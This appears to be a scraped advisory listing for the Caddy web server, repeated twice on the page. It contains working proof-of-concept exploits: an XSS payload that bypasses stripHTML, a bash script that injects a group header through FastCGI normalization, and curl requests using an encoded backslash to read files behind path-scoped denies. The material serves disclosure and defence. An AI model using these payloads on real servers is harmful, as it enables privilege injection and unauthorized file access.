Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Apr 30, 2015

v0.5.0 initial

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Apr 28, 2015

Activity

Reach

Details